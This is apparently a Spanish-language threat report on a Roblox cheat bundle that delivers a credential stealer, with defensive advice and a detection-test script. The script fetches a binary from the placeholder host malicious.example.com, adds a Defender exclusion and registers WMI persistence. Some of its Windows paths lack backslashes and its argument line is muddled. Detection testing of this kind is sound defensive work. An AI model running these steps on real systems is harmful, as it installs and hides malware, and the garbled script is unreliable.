Trucos de Roblox Impulsados por IA Entregan el Stealer Yuta/Solara

Resumen

Un paquete de trampas malicioso para Roblox combina una interfaz .NET con troyano y un ladrón de Python empaquetado a través de PyInstaller. El cargador inicial debilita las protecciones de Microsoft Defender, recupera una carga útil de segunda etapa desde MediaFire y lanza malware derivado de Glove Stealer para recopilar credenciales, cookies, archivos de billetera y activos relacionados con juegos. Luego, los datos robados se exfiltran a través de webhooks de Discord encriptados y son respaldados por un bot RAT persistente de Discord.

Investigación

El informe proporciona un análisis estático en profundidad del malware, incluida la extracción de la carga útil de PyInstaller, descompilación del código de bytes de Python 3.12 y el mapeo del flujo de trabajo de robo de credenciales. También describe la cadena completa de ejecución multietapa, los métodos de evasión de defensa utilizados por los operadores y el enfoque de omisión de cinco capas dirigido a las protecciones de cifrado enlazadas a la aplicación de Chrome.

Mitigación

Las organizaciones deben bloquear la ejecución de binarios desconocidos no firmados, aplicar una lista estricta de aplicaciones permitidas, monitorear los cambios en las exclusiones de Defender y el uso sospechoso de PowerShell, y detectar descargas inusuales de datos de configuración desde Pastebin. El tráfico de webhooks de Discord debe ser restringido o monitoreado de cerca, y los defensores deben vigilar los lanzamientos anormales de Chrome que utilizan banderas relacionadas con el depurador.

Respuesta

Los equipos de seguridad deben alertar sobre la creación de winupdate.exe en el caché de AppData, modificaciones sospechosas de claves Run del registro, creación de tareas programadas y actividad inusual en canales de Discord. Los archivos maliciosos deben ser puestos en cuarentena, se deben eliminar las exclusiones no autorizadas de Defender y se debe realizar una recolección forense en cualquier almacenamiento de credenciales que pueda haber sido cosechado.

Ejecución de Simulación

Prerrequisito: La Revisión de Telemetría y Línea Base Pre‑Vuelo debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y buscan generar la telemetría exacta esperada por la lógica de detección.

• Narrativa de Ataque y Comandos:

  1. Transferencia de Herramienta de Ingreso (T1105): El atacante descarga el ejecutor malicioso de Roblox (SLaunch.exe) desde un servidor web comprometido.
  2. Ejecución con Manipulación de Defender (T1548.002): Usando PowerShell, el atacante ejecuta SLaunch.exe con una línea de comando que invoca Add-MpPreference -ExclusionPath "C:Roblox" para listar en blanco la carpeta de instalación de Roblox, evitando que Windows Defender escanee la carga útil inyectada.
  3. Persistencia (T1546.003 / T1547.001): Se crea una suscripción de evento WMI para volver a lanzar SLaunch.exe en el arranque del sistema.
  4. Recolección de Credenciales (T1056.001, T1555.003): Mientras el inyector está corriendo, captura pulsaciones de teclas y extrae credenciales guardadas de Roblox desde los almacenes del navegador.

• Script de Prueba de Regresión: El siguiente script de PowerShell reproduce los pasos 2–3 y genera la telemetría que la regla Sigma espera.

  # ------------------------------------------------------------
  # Ejecución del Inyector de Roblox + Exclusión de Defender (Script TC)
  # ------------------------------------------------------------
  
  # Rutas (ajustar según sea necesario)
  $injectorPath = "C:TempSLaunch.exe"
  $defenderExcl = "C:Roblox"
  
  # 1. Asegurarse de que el inyector exista (descargar marcador de posición)
  if (-Not (Test-Path $injectorPath)) {
      Write-Host "Descargando inyector malicioso..."
      Invoke-WebRequest -Uri "http://malicious.example.com/SLaunch.exe" -OutFile $injectorPath
  }
  
  # 2. Ejecutar inyector con línea de comando de exclusión de Defender
  $cmd = "-run -script `"UpdateSplash.EnsureWindowsDefenderExclusion()`" -Add-MpPreference -ExclusionPath `"$defenderExcl`""
  Start-Process -FilePath $injectorPath -ArgumentList $cmd -NoNewWindow
  
  # 3. Crear una suscripción de evento permanente WMI para persistencia
  $wmiFilter = @"
  SELECT * FROM __InstanceCreationEvent
  WITHIN 60
  WHERE TargetInstance ISA 'Win32_Process' 
  AND TargetInstance.Name = 'SLaunch.exe'
  "@
  
  $filterPath = "ROOTDEFAULT"
  $filterName = "RobloxInjectorFilter"
  $consumerName = "RobloxInjectorConsumer"
  
  # Registrar filtro
  $filter = Set-WmiInstance -Namespace $filterPath -Class __EventFilter `
      -Arguments @{ Name=$filterName; Query=$wmiFilter; EventNamespace='rootcimv2'; QueryLanguage='WQL' }
  
  # Registrar consumidor de línea de comando
  $consumer = Set-WmiInstance -Namespace $filterPath -Class CommandLineEventConsumer `
      -Arguments @{ Name=$consumerName; CommandLineTemplate="`"$injectorPath`"" }
  
  # Vincular filtro al consumidor
  Set-WmiInstance -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Arguments @{ Filter=$filter.__PATH; Consumer=$consumer.__PATH }
  
  Write-Host "Simulación completa - la telemetría de detección debería haberse generado."

• Comandos de Limpieza: Remover la exclusión de Defender y la suscripción WMI creada anteriormente.

  # Remover exclusión de Defender
  Remove-MpPreference -ExclusionPath "C:Roblox"
  
  # Eliminar filtro y consumidor de WMI
  $filterPath = "ROOTDEFAULT"
  Get-WmiObject -Namespace $filterPath -Class __EventFilter -Filter "Name='RobloxInjectorFilter'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class CommandLineEventConsumer -Filter "Name='RobloxInjectorConsumer'" | Remove-WmiObject
  Get-WmiObject -Namespace $filterPath -Class __FilterToConsumerBinding `
      -Filter "Filter=`"__EventFilter.Name='RobloxInjectorFilter'`"" | Remove-WmiObject
  
  # Eliminar el binario del inyector
  Remove-Item -Path "C:TempSLaunch.exe" -Force